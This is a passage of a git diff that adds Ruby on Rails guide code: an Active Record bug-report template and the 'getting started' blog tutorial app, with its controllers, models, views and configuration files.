+class BugTest < Minitest::Test
+  def test_association_stuff
+    post = Post.create!
+    post.comments << Comment.create!
+
+    assert_equal 1, post.comments.count
+    assert_equal 1, Comment.count
+    assert_equal post.id, Comment.first.post.id
+  end
+end
diff --git a/guides/bug_report_templates/active_record_master.rb b/guides/bug_report_templates/active_record_master.rb
new file mode 100644
index 0000000..d95354e
--- /dev/null
+++ b/guides/bug_report_templates/active_record_master.rb
@@ -0,0 +1,49 @@
+unless File.exist?('Gemfile')
+  File.write('Gemfile', <<-GEMFILE)
+    source 'https://rubygems.org'
+    gem 'rails', github: 'rails/rails'
+    gem 'arel', github: 'rails/arel'
+    gem 'sqlite3'
+  GEMFILE
+
+  system 'bundle'
+end
+
+require 'bundler'
+Bundler.setup(:default)
+
+require 'active_record'
+require 'minitest/autorun'
+require 'logger'
+
+# This connection will do for database-independent bug reports.
+ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: ':memory:')
+ActiveRecord::Base.logger = Logger.new(STDOUT)
+
+ActiveRecord::Schema.define do
+  create_table :posts do |t|
+  end
+
+  create_table :comments do |t|
+    t.integer :post_id
+  end
+end
+
+class Post < ActiveRecord::Base
+  has_many :comments
+end
+
+class Comment < ActiveRecord::Base
+  belongs_to :post
+end
+
+class BugTest < Minitest::Test
+  def test_association_stuff
+    post = Post.create!
+    post.comments << Comment.create!
+
+    assert_equal 1, post.comments.count
+    assert_equal 1, Comment.count
+    assert_equal post.id, Comment.first.post.id
+  end
+end
diff --git a/guides/code/getting_started/.gitignore b/guides/code/getting_started/.gitignore
new file mode 100644
index 0000000..6a502e9
--- /dev/null
+++ b/guides/code/getting_started/.gitignore
@@ -0,0 +1,16 @@
+# See https://help.github.com/articles/ignoring-files for more about ignoring files.
+#
+# If you find yourself ignoring temporary files generated by your text editor
+# or operating system, you probably want to add a global ignore instead:
+#   git config --global core.excludesfile '~/.gitignore_global'
+
+# Ignore bundler config.
+/.bundle
+
+# Ignore the default SQLite database.
+/db/*.sqlite3
+/db/*.sqlite3-journal
+
+# Ignore all logfiles and tempfiles.
+/log/*.log
+/tmp
diff --git a/guides/code/getting_started/Gemfile b/guides/code/getting_started/Gemfile
new file mode 100644
index 0000000..97cfd5c
--- /dev/null
+++ b/guides/code/getting_started/Gemfile
@@ -0,0 +1,40 @@
+source 'https://rubygems.org'
+
+
+# Bundle edge Rails instead: gem 'rails', github: 'rails/rails'
+gem 'rails', '4.1.1'
+# Use SQLite3 as the database for Active Record
+gem 'sqlite3'
+# Use SCSS for stylesheets
+gem 'sass-rails', '~> 4.0.3'
+# Use Uglifier as compressor for JavaScript assets
+gem 'uglifier', '>= 1.3.0'
+# Use CoffeeScript for .js.coffee assets and views
+gem 'coffee-rails', '~> 4.0.0'
+# See https://github.com/sstephenson/execjs#readme for more supported runtimes
+# gem 'therubyracer',  platforms: :ruby
+
+# Use jquery as the JavaScript library
+gem 'jquery-rails'
+# Turbolinks makes following links in your web application faster. Read more: https://github.com/rails/turbolinks
+gem 'turbolinks'
+# Build JSON APIs with ease. Read more: https://github.com/rails/jbuilder
+gem 'jbuilder', '~> 2.0'
+# bundle exec rake doc:rails generates the API under doc/api.
+gem 'sdoc', '~> 0.4.0',          group: :doc
+
+# Spring speeds up development by keeping your application running in the background. Read more: https://github.com/rails/spring
+gem 'spring',        group: :development
+
+# Use ActiveModel has_secure_password
+# gem 'bcrypt', '~> 3.1.7'
+
+# Use unicorn as the app server
+# gem 'unicorn'
+
+# Use Capistrano for deployment
+# gem 'capistrano-rails', group: :development
+
+# Use debugger
+# gem 'debugger', group: [:development, :test]
+
diff --git a/guides/code/getting_started/Gemfile.lock b/guides/code/getting_started/Gemfile.lock
new file mode 100644
index 0000000..f26cf58
--- /dev/null
+++ b/guides/code/getting_started/Gemfile.lock
@@ -0,0 +1,125 @@
+GEM
+  remote: https://rubygems.org/
+  specs:
+    actionmailer (4.1.1)
+      actionpack (= 4.1.1)
+      actionview (= 4.1.1)
+      mail (~> 2.5.4)
+    actionpack (4.1.1)
+      actionview (= 4.1.1)
+      activesupport (= 4.1.1)
+      rack (~> 1.5.2)
+      rack-test (~> 0.6.2)
+    actionview (4.1.1)
+      activesupport (= 4.1.1)
+      builder (~> 3.1)
+      erubis (~> 2.7.0)
+    activemodel (4.1.1)
+      activesupport (= 4.1.1)
+      builder (~> 3.1)
+    activerecord (4.1.1)
+      activemodel (= 4.1.1)
+      activesupport (= 4.1.1)
+      arel (~> 5.0.0)
+    activesupport (4.1.1)
+      i18n (~> 0.6, >= 0.6.9)
+      json (~> 1.7, >= 1.7.7)
+      minitest (~> 5.1)
+      thread_safe (~> 0.1)
+      tzinfo (~> 1.1)
+    arel (5.0.1.20140414130214)
+    builder (3.2.2)
+    coffee-rails (4.0.1)
+      coffee-script (>= 2.2.0)
+      railties (>= 4.0.0, < 5.0)
+    coffee-script (2.2.0)
+      coffee-script-source
+      execjs
+    coffee-script-source (1.6.3)
+    erubis (2.7.0)
+    execjs (2.0.2)
+    hike (1.2.3)
+    i18n (0.6.9)
+    jbuilder (2.0.2)
+      activesupport (>= 3.0.0)
+      multi_json (>= 1.2.0)
+    jquery-rails (3.0.4)
+      railties (>= 3.0, < 5.0)
+      thor (>= 0.14, < 2.0)
+    json (1.8.1)
+    mail (2.5.4)
+      mime-types (~> 1.16)
+      treetop (~> 1.4.8)
+    mime-types (1.25.1)
+    minitest (5.3.4)
+    multi_json (1.10.1)
+    polyglot (0.3.4)
+    rack (1.5.2)
+    rack-test (0.6.2)
+      rack (>= 1.0)
+    rails (4.1.1)
+      actionmailer (= 4.1.1)
+      actionpack (= 4.1.1)
+      actionview (= 4.1.1)
+      activemodel (= 4.1.1)
+      activerecord (= 4.1.1)
+      activesupport (= 4.1.1)
+      bundler (>= 1.3.0, < 2.0)
+      railties (= 4.1.1)
+      sprockets-rails (~> 2.0)
+    railties (4.1.1)
+      actionpack (= 4.1.1)
+      activesupport (= 4.1.1)
+      rake (>= 0.8.7)
+      thor (>= 0.18.1, < 2.0)
+    rake (10.3.2)
+    rdoc (4.1.1)
+      json (~> 1.4)
+    sass (3.2.19)
+    sass-rails (4.0.3)
+      railties (>= 4.0.0, < 5.0)
+      sass (~> 3.2.0)
+      sprockets (~> 2.8, <= 2.11.0)
+      sprockets-rails (~> 2.0)
+    sdoc (0.4.0)
+      json (~> 1.8)
+      rdoc (~> 4.0, < 5.0)
+    spring (1.0.0)
+    sprockets (2.11.0)
+      hike (~> 1.2)
+      multi_json (~> 1.0)
+      rack (~> 1.0)
+      tilt (~> 1.1, != 1.3.0)
+    sprockets-rails (2.1.3)
+      actionpack (>= 3.0)
+      activesupport (>= 3.0)
+      sprockets (~> 2.8)
+    sqlite3 (1.3.8)
+    thor (0.19.1)
+    thread_safe (0.3.3)
+    tilt (1.4.1)
+    treetop (1.4.15)
+      polyglot
+      polyglot (>= 0.3.1)
+    turbolinks (2.2.0)
+      coffee-rails
+    tzinfo (1.1.0)
+      thread_safe (~> 0.1)
+    uglifier (2.4.0)
+      execjs (>= 0.3.0)
+      json (>= 1.8.0)
+
+PLATFORMS
+  ruby
+
+DEPENDENCIES
+  coffee-rails (~> 4.0.0)
+  jbuilder (~> 2.0)
+  jquery-rails
+  rails (= 4.1.1)
+  sass-rails (~> 4.0.3)
+  sdoc (~> 0.4.0)
+  spring
+  sqlite3
+  turbolinks
+  uglifier (>= 1.3.0)
diff --git a/guides/code/getting_started/README.rdoc b/guides/code/getting_started/README.rdoc
new file mode 100644
index 0000000..dd4e97e
--- /dev/null
+++ b/guides/code/getting_started/README.rdoc
@@ -0,0 +1,28 @@
+== README
+
+This README would normally document whatever steps are necessary to get the
+application up and running.
+
+Things you may want to cover:
+
+* Ruby version
+
+* System dependencies
+
+* Configuration
+
+* Database creation
+
+* Database initialization
+
+* How to run the test suite
+
+* Services (job queues, cache servers, search engines, etc.)
+
+* Deployment instructions
+
+* ...
+
+
+Please feel free to use a different markup language if you do not plan to run
+<tt>rake doc:app</tt>.
diff --git a/guides/code/getting_started/Rakefile b/guides/code/getting_started/Rakefile
new file mode 100644
index 0000000..05de8bb
--- /dev/null
+++ b/guides/code/getting_started/Rakefile
@@ -0,0 +1,6 @@
+# Add your own tasks in files placed in lib/tasks ending in .rake,
+# for example lib/tasks/capistrano.rake, and they will automatically be available to Rake.
+
+require File.expand_path('../config/application', __FILE__)
+
+Blog::Application.load_tasks
diff --git a/guides/code/getting_started/app/assets/javascripts/application.js b/guides/code/getting_started/app/assets/javascripts/application.js
new file mode 100644
index 0000000..5a4fbaa
--- /dev/null
+++ b/guides/code/getting_started/app/assets/javascripts/application.js
@@ -0,0 +1,15 @@
+// This is a manifest file that'll be compiled into application.js, which will include all the files
+// listed below.
+//
+// Any JavaScript/Coffee file within this directory, lib/assets/javascripts, vendor/assets/javascripts,
+// or vendor/assets/javascripts of plugins, if any, can be referenced here using a relative path.
+//
+// It's not advisable to add code directly here, but if you do, it'll appear at the bottom of the
+// compiled file.
+//
+// stub path allows dependency to be excluded from the asset bundle.
+//
+//= require jquery
+//= require jquery_ujs
+//= require turbolinks
+//= require_tree .
diff --git a/guides/code/getting_started/app/assets/javascripts/comments.js.coffee b/guides/code/getting_started/app/assets/javascripts/comments.js.coffee
new file mode 100644
index 0000000..24f83d1
--- /dev/null
+++ b/guides/code/getting_started/app/assets/javascripts/comments.js.coffee
@@ -0,0 +1,3 @@
+# Place all the behaviors and hooks related to the matching controller here.
+# All this logic will automatically be available in application.js.
+# You can use CoffeeScript in this file: http://coffeescript.org/
diff --git a/guides/code/getting_started/app/assets/javascripts/posts.js.coffee b/guides/code/getting_started/app/assets/javascripts/posts.js.coffee
new file mode 100644
index 0000000..24f83d1
--- /dev/null
+++ b/guides/code/getting_started/app/assets/javascripts/posts.js.coffee
@@ -0,0 +1,3 @@
+# Place all the behaviors and hooks related to the matching controller here.
+# All this logic will automatically be available in application.js.
+# You can use CoffeeScript in this file: http://coffeescript.org/
diff --git a/guides/code/getting_started/app/assets/javascripts/welcome.js.coffee b/guides/code/getting_started/app/assets/javascripts/welcome.js.coffee
new file mode 100644
index 0000000..24f83d1
--- /dev/null
+++ b/guides/code/getting_started/app/assets/javascripts/welcome.js.coffee
@@ -0,0 +1,3 @@
+# Place all the behaviors and hooks related to the matching controller here.
+# All this logic will automatically be available in application.js.
+# You can use CoffeeScript in this file: http://coffeescript.org/
diff --git a/railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css b/guides/code/getting_started/app/assets/stylesheets/application.css
similarity index 100%
copy from railties/lib/rails/generators/rails/app/templates/app/assets/stylesheets/application.css
copy to guides/code/getting_started/app/assets/stylesheets/application.css
diff --git a/guides/code/getting_started/app/assets/stylesheets/comments.css.scss b/guides/code/getting_started/app/assets/stylesheets/comments.css.scss
new file mode 100644
index 0000000..e730912
--- /dev/null
+++ b/guides/code/getting_started/app/assets/stylesheets/comments.css.scss
@@ -0,0 +1,3 @@
+// Place all the styles related to the Comments controller here.
+// They will automatically be included in application.css.
+// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/guides/code/getting_started/app/assets/stylesheets/posts.css.scss b/guides/code/getting_started/app/assets/stylesheets/posts.css.scss
new file mode 100644
index 0000000..1a7e153
--- /dev/null
+++ b/guides/code/getting_started/app/assets/stylesheets/posts.css.scss
@@ -0,0 +1,3 @@
+// Place all the styles related to the posts controller here.
+// They will automatically be included in application.css.
+// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/guides/code/getting_started/app/assets/stylesheets/welcome.css.scss b/guides/code/getting_started/app/assets/stylesheets/welcome.css.scss
new file mode 100644
index 0000000..77ce11a
--- /dev/null
+++ b/guides/code/getting_started/app/assets/stylesheets/welcome.css.scss
@@ -0,0 +1,3 @@
+// Place all the styles related to the welcome controller here.
+// They will automatically be included in application.css.
+// You can use Sass (SCSS) here: http://sass-lang.com/
diff --git a/guides/code/getting_started/app/controllers/application_controller.rb b/guides/code/getting_started/app/controllers/application_controller.rb
new file mode 100644
index 0000000..d83690e
--- /dev/null
+++ b/guides/code/getting_started/app/controllers/application_controller.rb
@@ -0,0 +1,5 @@
+class ApplicationController < ActionController::Base
+  # Prevent CSRF attacks by raising an exception.
+  # For APIs, you may want to use :null_session instead.
+  protect_from_forgery with: :exception
+end
diff --git a/guides/code/getting_started/app/controllers/comments_controller.rb b/guides/code/getting_started/app/controllers/comments_controller.rb
new file mode 100644
index 0000000..b2d9bcd
--- /dev/null
+++ b/guides/code/getting_started/app/controllers/comments_controller.rb
@@ -0,0 +1,23 @@
+class CommentsController < ApplicationController
+
+  http_basic_authenticate_with name: "dhh", password: "secret", only: :destroy
+
+  def create
+    @post = Post.find(params[:post_id])
+    @comment = @post.comments.create(comment_params)
+    redirect_to post_path(@post)
+  end
+
+  def destroy
+    @post = Post.find(params[:post_id])
+    @comment = @post.comments.find(params[:id])
+    @comment.destroy
+    redirect_to post_path(@post)
+  end
+
+  private
+
+    def comment_params
+      params.require(:comment).permit(:commenter, :body)
+    end
+end
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/app/controllers/concerns/.keep
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/app/controllers/concerns/.keep
diff --git a/guides/code/getting_started/app/controllers/posts_controller.rb b/guides/code/getting_started/app/controllers/posts_controller.rb
new file mode 100644
index 0000000..02689ad
--- /dev/null
+++ b/guides/code/getting_started/app/controllers/posts_controller.rb
@@ -0,0 +1,53 @@
+class PostsController < ApplicationController
+
+  http_basic_authenticate_with name: "dhh", password: "secret", except: [:index, :show]
+
+  def index
+    @posts = Post.all
+  end
+
+  def show
+    @post = Post.find(params[:id])
+  end
+
+  def edit
+    @post = Post.find(params[:id])
+  end
+
+  def update
+    @post = Post.find(params[:id])
+
+    if @post.update(post_params)
+      redirect_to action: :show, id: @post.id
+    else
+      render 'edit'
+    end
+  end
+
+  def new
+    @post = Post.new
+  end
+
+  def create
+    @post = Post.new(post_params)
+
+    if @post.save
+      redirect_to action: :show, id: @post.id
+    else
+      render 'new'
+    end
+  end
+
+  def destroy
+    @post = Post.find(params[:id])
+    @post.destroy
+
+    redirect_to action: :index
+  end
+
+  private
+
+    def post_params
+      params.require(:post).permit(:title, :text)
+    end
+end
diff --git a/guides/code/getting_started/app/controllers/welcome_controller.rb b/guides/code/getting_started/app/controllers/welcome_controller.rb
new file mode 100644
index 0000000..f9b859b
--- /dev/null
+++ b/guides/code/getting_started/app/controllers/welcome_controller.rb
@@ -0,0 +1,4 @@
+class WelcomeController < ApplicationController
+  def index
+  end
+end
diff --git a/guides/code/getting_started/app/helpers/application_helper.rb b/guides/code/getting_started/app/helpers/application_helper.rb
new file mode 100644
index 0000000..de6be79
--- /dev/null
+++ b/guides/code/getting_started/app/helpers/application_helper.rb
@@ -0,0 +1,2 @@
+module ApplicationHelper
+end
diff --git a/guides/code/getting_started/app/helpers/comments_helper.rb b/guides/code/getting_started/app/helpers/comments_helper.rb
new file mode 100644
index 0000000..0ec9ca5
--- /dev/null
+++ b/guides/code/getting_started/app/helpers/comments_helper.rb
@@ -0,0 +1,2 @@
+module CommentsHelper
+end
diff --git a/guides/code/getting_started/app/helpers/posts_helper.rb b/guides/code/getting_started/app/helpers/posts_helper.rb
new file mode 100644
index 0000000..a7b8cec
--- /dev/null
+++ b/guides/code/getting_started/app/helpers/posts_helper.rb
@@ -0,0 +1,2 @@
+module PostsHelper
+end
diff --git a/guides/code/getting_started/app/helpers/welcome_helper.rb b/guides/code/getting_started/app/helpers/welcome_helper.rb
new file mode 100644
index 0000000..eeead45
--- /dev/null
+++ b/guides/code/getting_started/app/helpers/welcome_helper.rb
@@ -0,0 +1,2 @@
+module WelcomeHelper
+end
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/app/mailers/.keep
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/app/mailers/.keep
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/app/models/.keep
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/app/models/.keep
diff --git a/guides/code/getting_started/app/models/comment.rb b/guides/code/getting_started/app/models/comment.rb
new file mode 100644
index 0000000..4e76c5b
--- /dev/null
+++ b/guides/code/getting_started/app/models/comment.rb
@@ -0,0 +1,3 @@
+class Comment < ActiveRecord::Base
+  belongs_to :post
+end
diff --git a/actionpack/test/fixtures/digestor/events/_event.html.erb b/guides/code/getting_started/app/models/concerns/.keep
similarity index 100%
copy from actionpack/test/fixtures/digestor/events/_event.html.erb
copy to guides/code/getting_started/app/models/concerns/.keep
diff --git a/guides/code/getting_started/app/models/post.rb b/guides/code/getting_started/app/models/post.rb
new file mode 100644
index 0000000..64e0d72
--- /dev/null
+++ b/guides/code/getting_started/app/models/post.rb
@@ -0,0 +1,7 @@
+class Post < ActiveRecord::Base
+  has_many :comments, dependent: :destroy
+  
+  validates :title,
+    presence: true,
+    length: { minimum: 5 }
+end
diff --git a/guides/code/getting_started/app/views/comments/_comment.html.erb b/guides/code/getting_started/app/views/comments/_comment.html.erb
new file mode 100644
index 0000000..5934933
--- /dev/null
+++ b/guides/code/getting_started/app/views/comments/_comment.html.erb
@@ -0,0 +1,15 @@
+<p>
+  <strong>Commenter:</strong>
+  <%= comment.commenter %>
+</p>
+ 
+<p>
+  <strong>Comment:</strong>
+  <%= comment.body %>
+</p>
+
+<p>
+  <%= link_to 'Destroy Comment', [comment.post, comment],
+               method: :delete,
+               data: { confirm: 'Are you sure?' } %>
+</p>
diff --git a/guides/code/getting_started/app/views/comments/_form.html.erb b/guides/code/getting_started/app/views/comments/_form.html.erb
new file mode 100644
index 0000000..00cb3a0
--- /dev/null
+++ b/guides/code/getting_started/app/views/comments/_form.html.erb
@@ -0,0 +1,13 @@
+<%= form_for([@post, @post.comments.build]) do |f| %>
+  <p>
+    <%= f.label :commenter %><br />
+    <%= f.text_field :commenter %>
+  </p>
+  <p>
+    <%= f.label :body %><br />
+    <%= f.text_area :body %>
+  </p>
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
diff --git a/guides/code/getting_started/app/views/layouts/application.html.erb b/guides/code/getting_started/app/views/layouts/application.html.erb
new file mode 100644
index 0000000..d0ba841
--- /dev/null
+++ b/guides/code/getting_started/app/views/layouts/application.html.erb
@@ -0,0 +1,14 @@
+<!DOCTYPE html>
+<html>
+<head>
+  <title>Blog</title>
+  <%= stylesheet_link_tag    'application', media: 'all', 'data-turbolinks-track' => true %>
+  <%= javascript_include_tag 'application', 'data-turbolinks-track' => true %>
+  <%= csrf_meta_tags %>
+</head>
+<body>
+
+<%= yield %>
+
+</body>
+</html>
diff --git a/guides/code/getting_started/app/views/posts/_form.html.erb b/guides/code/getting_started/app/views/posts/_form.html.erb
new file mode 100644
index 0000000..f2f8358
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/_form.html.erb
@@ -0,0 +1,27 @@
+<%= form_for @post do |f| %>
+  <% if @post.errors.any? %>
+  <div id="error_explanation">
+    <h2><%= pluralize(@post.errors.count, "error") %> prohibited
+      this post from being saved:</h2>
+    <ul>
+    <% @post.errors.full_messages.each do |msg| %>
+      <li><%= msg %></li>
+    <% end %>
+    </ul>
+  </div>
+  <% end %>
+  <p>
+    <%= f.label :title %><br>
+    <%= f.text_field :title %>
+  </p>
+
+  <p>
+    <%= f.label :text %><br>
+    <%= f.text_area :text %>
+  </p>
+
+  <p>
+    <%= f.submit %>
+  </p>
+<% end %>
+
diff --git a/guides/code/getting_started/app/views/posts/edit.html.erb b/guides/code/getting_started/app/views/posts/edit.html.erb
new file mode 100644
index 0000000..393e743
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/edit.html.erb
@@ -0,0 +1,5 @@
+<h1>Edit post</h1>
+ 
+<%= render 'form' %>
+ 
+<%= link_to 'Back', action: :index %>
diff --git a/guides/code/getting_started/app/views/posts/index.html.erb b/guides/code/getting_started/app/views/posts/index.html.erb
new file mode 100644
index 0000000..7369f03
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/index.html.erb
@@ -0,0 +1,21 @@
+<h1>Listing Posts</h1>
+<table>
+  <tr>
+    <th>Title</th>
+    <th>Text</th>
+    <th></th>
+    <th></th>
+    <th></th>
+  </tr>
+ 
+<% @posts.each do |post| %>
+  <tr>
+    <td><%= post.title %></td>
+    <td><%= post.text %></td>
+    <td><%= link_to 'Show', action: :show, id: post.id %></td>
+    <td><%= link_to 'Edit', action: :edit, id: post.id %></td>
+    <td><%= link_to 'Destroy', { action: :destroy, id: post.id },
+                    method: :delete, data: { confirm: 'Are you sure?' } %></td>
+  </tr>
+<% end %>
+</table>
diff --git a/guides/code/getting_started/app/views/posts/new.html.erb b/guides/code/getting_started/app/views/posts/new.html.erb
new file mode 100644
index 0000000..efa8103
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/new.html.erb
@@ -0,0 +1,5 @@
+<h1>New post</h1>
+ 
+<%= render 'form' %>
+ 
+<%= link_to 'Back', action: :index %>
diff --git a/guides/code/getting_started/app/views/posts/show.html.erb b/guides/code/getting_started/app/views/posts/show.html.erb
new file mode 100644
index 0000000..e99e9ed
--- /dev/null
+++ b/guides/code/getting_started/app/views/posts/show.html.erb
@@ -0,0 +1,18 @@
+<p>
+  <strong>Title:</strong>
+  <%= @post.title %>
+</p>
+ 
+<p>
+  <strong>Text:</strong>
+  <%= @post.text %>
+</p>
+
+<h2>Comments</h2>
+<%= render @post.comments %>
+ 
+<h2>Add a comment:</h2>
+<%= render "comments/form" %>
+ 
+<%= link_to 'Edit Post', edit_post_path(@post) %> |
+<%= link_to 'Back to Posts', posts_path %>
diff --git a/guides/code/getting_started/app/views/welcome/index.html.erb b/guides/code/getting_started/app/views/welcome/index.html.erb
new file mode 100644
index 0000000..56be8dd
--- /dev/null
+++ b/guides/code/getting_started/app/views/welcome/index.html.erb
@@ -0,0 +1,4 @@
+<h1>Hello, Rails!</h1>
+
+<%= link_to "My Blog", controller: "posts" %>
+<%= link_to "New Post", new_post_path %>
diff --git a/guides/code/getting_started/bin/bundle b/guides/code/getting_started/bin/bundle
new file mode 100755
index 0000000..45cf37f
--- /dev/null
+++ b/guides/code/getting_started/bin/bundle
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+require 'rubygems'
+load Gem.bin_path('bundler', 'bundle')
diff --git a/guides/code/getting_started/bin/rails b/guides/code/getting_started/bin/rails
new file mode 100755
index 0000000..728cd85
--- /dev/null
+++ b/guides/code/getting_started/bin/rails
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+APP_PATH = File.expand_path('../../config/application',  __FILE__)
+require_relative '../config/boot'
+require 'rails/commands'
diff --git a/guides/code/getting_started/bin/rake b/guides/code/getting_started/bin/rake
new file mode 100755
index 0000000..1724048
--- /dev/null
+++ b/guides/code/getting_started/bin/rake
@@ -0,0 +1,4 @@
+#!/usr/bin/env ruby
+require_relative '../config/boot'
+require 'rake'
+Rake.application.run
diff --git a/guides/code/getting_started/config.ru b/guides/code/getting_started/config.ru
new file mode 100644
index 0000000..ddf869e
--- /dev/null
+++ b/guides/code/getting_started/config.ru
@@ -0,0 +1,4 @@
+# This file is used by Rack-based servers to start the application.
+
+require ::File.expand_path('../config/environment',  __FILE__)
+run Blog::Application
diff --git a/guides/code/getting_started/config/application.rb b/guides/code/getting_started/config/application.rb
new file mode 100644
index 0000000..3d7604b
--- /dev/null
+++ b/guides/code/getting_started/config/application.rb
@@ -0,0 +1,18 @@
+require File.expand_path('../boot', __FILE__)
+
+require 'rails/all'
+
+# Require the gems listed in Gemfile, including any gems
+# you've limited to :test, :development, or :production.
+Bundler.require(:default, Rails.env)
+
+module Blog
+  class Application < Rails::Application
+    # Settings in config/environments/* take precedence over those specified here.
+    # Application configuration should go into files in config/initializers
+    # -- all .rb files in that directory are automatically loaded.
+
+    # Custom directories with classes and modules you want to be autoloadable.
+    # config.autoload_paths += %W(#{config.root}/extras)
+  end
+end
diff --git a/guides/code/getting_started/config/boot.rb b/guides/code/getting_started/config/boot.rb
new file mode 100644
index 0000000..5e5f0c1
--- /dev/null
+++ b/guides/code/getting_started/config/boot.rb
@@ -0,0 +1,4 @@
+# Set up gems listed in the Gemfile.
+ENV['BUNDLE_GEMFILE'] ||= File.expand_path('../../Gemfile', __FILE__)
+
+require 'bundler/setup' if File.exist?(ENV['BUNDLE_GEMFILE'])
diff --git a/railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml b/guides/code/getting_started/config/database.yml
similarity index 100%
copy from railties/lib/rails/generators/rails/app/templates/config/databases/sqlite3.yml
copy to guides/code/getting_started/config/database.yml
diff --git a/guides/code/getting_started/config/environment.rb b/guides/code/getting_started/config/environment.rb
new file mode 100644
index 0000000..e7e341c
--- /dev/null
+++ b/guides/code/getting_started/config/environment.rb
@@ -0,0 +1,5 @@
+# Load the Rails application.
+require File.expand_path('../application', __FILE__)
+
+# Initialize the Rails application.
+Blog::Application.initialize!
diff --git a/guides/code/getting_started/config/environments/development.rb b/guides/code/getting_started/config/environments/development.rb
new file mode 100644
index 0000000..7e5692b
--- /dev/null
+++ b/guides/code/getting_started/config/environments/development.rb
@@ -0,0 +1,30 @@
+Blog::Application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # In the development environment your application's code is reloaded on
+  # every request. This slows down response time but is perfect for development
+  # since you don't have to restart the web server when you make code changes.
+  config.cache_classes = false
+
+  # Do not eager load code on boot.
+  config.eager_load = false
+
+  # Show full error reports and disable caching.
+  config.consider_all_requests_local       = true
+  config.action_controller.perform_caching = false
+
+  # Don't care if the mailer can't send.
+  config.action_mailer.raise_delivery_errors = false
+
+  # Print deprecation notices to the Rails logger.
+  config.active_support.deprecation = :log
+
+  # Only use best-standards-support built into browsers.
+  config.action_dispatch.best_standards_support = :builtin
+
+  # Raise an error on page load if there are pending migrations.
+  config.active_record.migration_error = :page_load
+
+  # Debug mode disables concatenation and preprocessing of assets.
+  config.assets.debug = true
+end
diff --git a/guides/code/getting_started/config/environments/production.rb b/guides/code/getting_started/config/environments/production.rb
new file mode 100644
index 0000000..8c514e0
--- /dev/null
+++ b/guides/code/getting_started/config/environments/production.rb
@@ -0,0 +1,80 @@
+Blog::Application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # Code is not reloaded between requests.
+  config.cache_classes = true
+
+  # Eager load code on boot. This eager loads most of Rails and
+  # your application in memory, allowing both threaded web servers
+  # and those relying on copy on write to perform better.
+  # Rake tasks automatically ignore this option for performance.
+  config.eager_load = true
+
+  # Full error reports are disabled and caching is turned on.
+  config.consider_all_requests_local       = false
+  config.action_controller.perform_caching = true
+
+  # Enable Rack::Cache to put a simple HTTP cache in front of your application
+  # Add `rack-cache` to your Gemfile before enabling this.
+  # For large-scale production use, consider using a caching reverse proxy like nginx, varnish or squid.
+  # config.action_dispatch.rack_cache = true
+
+  # Disable Rails's static asset server (Apache or nginx will already do this).
+  config.serve_static_assets = false
+
+  # Compress JavaScripts and CSS.
+  config.assets.js_compressor  = :uglifier
+  # config.assets.css_compressor = :sass
+
+  # Whether to fallback to assets pipeline if a precompiled asset is missed.
+  config.assets.compile = false
+
+  # Generate digests for assets URLs.
+  config.assets.digest = true
+
+  # Version of your assets, change this if you want to expire all your assets.
+  config.assets.version = '1.0'
+
+  # Specifies the header that your server uses for sending files.
+  # config.action_dispatch.x_sendfile_header = "X-Sendfile" # for apache
+  # config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for nginx
+
+  # Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
+  # config.force_ssl = true
+
+  # Set to :debug to see everything in the log.
+  config.log_level = :info
+
+  # Prepend all log lines with the following tags.
+  # config.log_tags = [ :subdomain, :uuid ]
+
+  # Use a different logger for distributed setups.
+  # config.logger = ActiveSupport::TaggedLogging.new(SyslogLogger.new)
+
+  # Use a different cache store in production.
+  # config.cache_store = :mem_cache_store
+
+  # Enable serving of images, stylesheets, and JavaScripts from an asset server.
+  # config.action_controller.asset_host = "http://assets.example.com"
+
+  # Precompile additional assets.
+  # application.js, application.css, and all non-JS/CSS in app/assets folder are already added.
+  # config.assets.precompile += %w( search.js )
+
+  # Ignore bad email addresses and do not raise email delivery errors.
+  # Set this to true and configure the email server for immediate delivery to raise delivery errors.
+  # config.action_mailer.raise_delivery_errors = false
+
+  # Enable locale fallbacks for I18n (makes lookups for any locale fall back to
+  # the I18n.default_locale when a translation cannot be found).
+  config.i18n.fallbacks = true
+
+  # Send deprecation notices to registered listeners.
+  config.active_support.deprecation = :notify
+
+  # Disable automatic flushing of the log to improve performance.
+  # config.autoflush_log = false
+
+  # Use default logging formatter so that PID and timestamp are not suppressed.
+  config.log_formatter = ::Logger::Formatter.new
+end
diff --git a/guides/code/getting_started/config/environments/test.rb b/guides/code/getting_started/config/environments/test.rb
new file mode 100644
index 0000000..34ab153
--- /dev/null
+++ b/guides/code/getting_started/config/environments/test.rb
@@ -0,0 +1,36 @@
+Blog::Application.configure do
+  # Settings specified here will take precedence over those in config/application.rb.
+
+  # The test environment is used exclusively to run your application's
+  # test suite. You never need to work with it otherwise. Remember that
+  # your test database is "scratch space" for the test suite and is wiped
+  # and recreated between test runs. Don't rely on the data there!
+  config.cache_classes = true
+
+  # Do not eager load code on boot. This avoids loading your whole application
+  # just for the purpose of running a single test. If you are using a tool that
+  # preloads Rails for running tests, you may have to set it to true.
+  config.eager_load = false
+
+  # Configure static asset server for tests with Cache-Control for performance.
+  config.serve_static_assets = true
